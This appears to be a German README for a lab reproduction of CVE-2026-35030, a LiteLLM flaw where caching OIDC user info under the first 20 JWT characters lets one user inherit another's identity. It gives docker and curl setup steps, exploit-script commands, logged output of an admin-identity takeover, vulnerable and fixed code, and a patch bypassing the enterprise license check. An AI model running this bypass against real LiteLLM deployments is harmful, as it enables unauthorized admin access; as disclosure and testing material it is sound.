
Der Code zur eigenständigen Reproduktion der entsprechenden Sicherheitslücke
LiteLLM verwendet
token[:20]als Cache-Schlüssel für OIDC-Benutzerinformationen. Zwei verschiedene JWTs, die mit demselben Algorithmus signiert sind, erzeugen identische erste 20 Zeichen, was es einem nicht authentifizierten Angreifer ermöglicht, die zwischengespeicherte Identität und Berechtigungen eines anderen Benutzers zu erben.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (KRITISCH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (KRITISCH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Unzureichende Authentifizierung) / CWE-222 (Unzureichend geschützte Anmeldeinformationen) |
| Betroffen | LiteLLM < 1.83.0 (mit enable_jwt_auth: true) |
| Behoben | v1.83.0+ (Cache-Schlüssel geändert auf sha256(token)) |
| Veröffentlicht | 2026-04-06 |
| Entdeckt von | Veria Labs |
| Links | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM ist ein AI-Gateway-/Proxy-Server zum Aufrufen von LLM-APIs. Wenn die JWT-Authentifizierung
aktiviert ist (enable_jwt_auth: true), validiert LiteLLM Tokens gegenüber einem OIDC-Anbieter
und speichert die Benutzerinfo-Antwort zwischen.
Die Schwachstelle: Der Cache-Schlüssel verwendet nur die ersten 20 Zeichen des JWT:
# Verwundbarer Code (vor 1.83.0)
cache_key = token[:20] # Nur die ersten 20 Zeichen!
Ein JWT besteht aus drei durch Punkte getrennten Base64url-codierten Segmenten:
<header>.<payload>.<signature>
Der Header (z.B. {"alg":"RS256","typ":"JWT"}) codiert für alle Tokens, die denselben
Signaturalgorithmus verwenden, identisch. Das bedeutet, dass zwei verschiedene JWTs – die für völlig
verschiedene Benutzer ausgestellt wurden – die gleichen ersten 20 Zeichen haben.
1. Admin authentifiziert → LiteLLM ruft Benutzerinfo ab → zwischengespeichert mit Schlüssel = token[:20]
↑
2. Angreifer erstellt JWT mit demselben Algorithmus (RS256) ────────────────┘
→ token[:20] ist IDENTISCH → Cache-Treffer → erbt Admin-Identität
Hinweis zur Enterprise-Lizenzierung: JWT/OIDC-Auth ist in LiteLLM eine reine Enterprise-Funktion (erfordert
LITELLM_LICENSE). Für die lokale CVE-Reproduktion patchen beide Dockerfiles die Prüfungpremium_useraufTrue. Dies beeinflusst nicht die Schwachstelle – die Cache-Schlüssel- kollision (token[:20]) existiert unabhängig von der Enterprise-Prüfung.Der erste Start führt Prisma-Migrationen durch (~60-90s). LiteLLM ist bereit, wenn die Logs
"Uvicorn running on http://0.0.0.0:4000"anzeigen.
# 1. Verwundbares LiteLLM + Mock-OIDC-Anbieter erstellen und starten
docker compose up -d --build
# 2. Python-Abhängigkeiten installieren
pip install -r requirements.txt
# 3. Testbenutzer erstellen (für JWT-Auth erforderlich – Master-Key benötigt)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Cache-Schlüsselkollision demonstrieren
python3 exploit/exploit.py --mode demo
# 5. Vollständigen Exploit ausführen (Auth-Bypass via Cache-Kollision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Prüfen, ob in v1.83.0+ behoben
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Demo-Modus – zeigt die Cache-Schlüsselkollision:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Beide Tokens haben die gleichen ersten 20 Zeichen!
Grund: Beide Tokens verwenden RS256-Signierung → identischer JWT-Header-Base64 → identische ersten 20 Zeichen
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Exploit-Modus – demonstriert die tatsächliche Auth-Bypass:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
Behobene Version – sha256-Cache-Schlüssel verhindert die Kollision:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
In litellm/proxy/auth/handle_jwt.py wird der OIDC-Benutzerinfo-Cache
mit token[:20] indiziert:
# Verwundbar (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Nur die ersten 20 Zeichen!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache-Treffer → Benutzerinfo-Abruf überspringen!
# Behoben (v1.83.0+) — gleiche Datei, Zeile 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] nicht ausreicht| Token-Komponente | Enthält benutzerspezifische Daten? | Für denselben Algorithmus fest? |
|---|---|---|
| Header (erste ~30 Zeichen) | ❌ Nein | ✅ Ja – identischer Base64 |
| Payload (benutzerspezifisch) | ✅ Ja | ❌ Nein – pro Benutzer eindeutig |
Da der Header der einzige Teil innerhalb der ersten 20 Zeichen ist und der Header für alle Tokens mit demselben Signaturalgorithmus identisch ist, hat jeder RS256-JWT vom selben Aussteller die exakt gleichen ersten 20 Zeichen.
| Szenario | Beschreibung |
|---|---|
| Rechteausweitung | Benutzer mit niedrigen Rechten wird durch Cache-Kollision zum Admin |
| Horizontale Identitätsübernahme | Identität eines beliebigen zwischengespeicherten Benutzers annehmen |
| Auth-Bypass-Kette | Kombination mit CVE-2026-35029 zur Erlangung von RCE |
CVE-2026-35030/
├── README.md # Diese Datei
├── docker-compose.yml # Verwundbares + behobenes LiteLLM + Mock-OIDC
├── litellm_config.yaml # LiteLLM-Konfiguration mit aktivierter JWT-Auth
├── requirements.txt # Python-Abhängigkeiten (PoC)
├── litellm-vuln/
│ └── Dockerfile # Verwundbares LiteLLM v1.82.5 mit Enterprise-Patch
├── litellm-fixed/
│ └── Dockerfile # Behobenes LiteLLM v1.83.0+ mit sha256-Cache-Schlüssel
├── oidc-provider/
│ ├── Dockerfile # Mock-OIDC-Anbieter-Image
│ ├── requirements.txt
│ └── server.py # OIDC-Mock (FastAPI)
├── exploit/
│ ├── exploit.py # Haupt-PoC-Exploit-Skript
│ └── token_forge.py # JWT-Kollisionshilfsprogramme
├── docs/
│ └── advisory.md # Advisory-Referenz
└── screenshots/
└── README.md # Platzhalter für Beweisscreenshots
sha256(token))enable_jwt_auth: falseHaftungsausschluss: Dieser Inhalt wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.
| Signatur | ✅ Ja | ❌ Nein – pro Schlüssel eindeutig |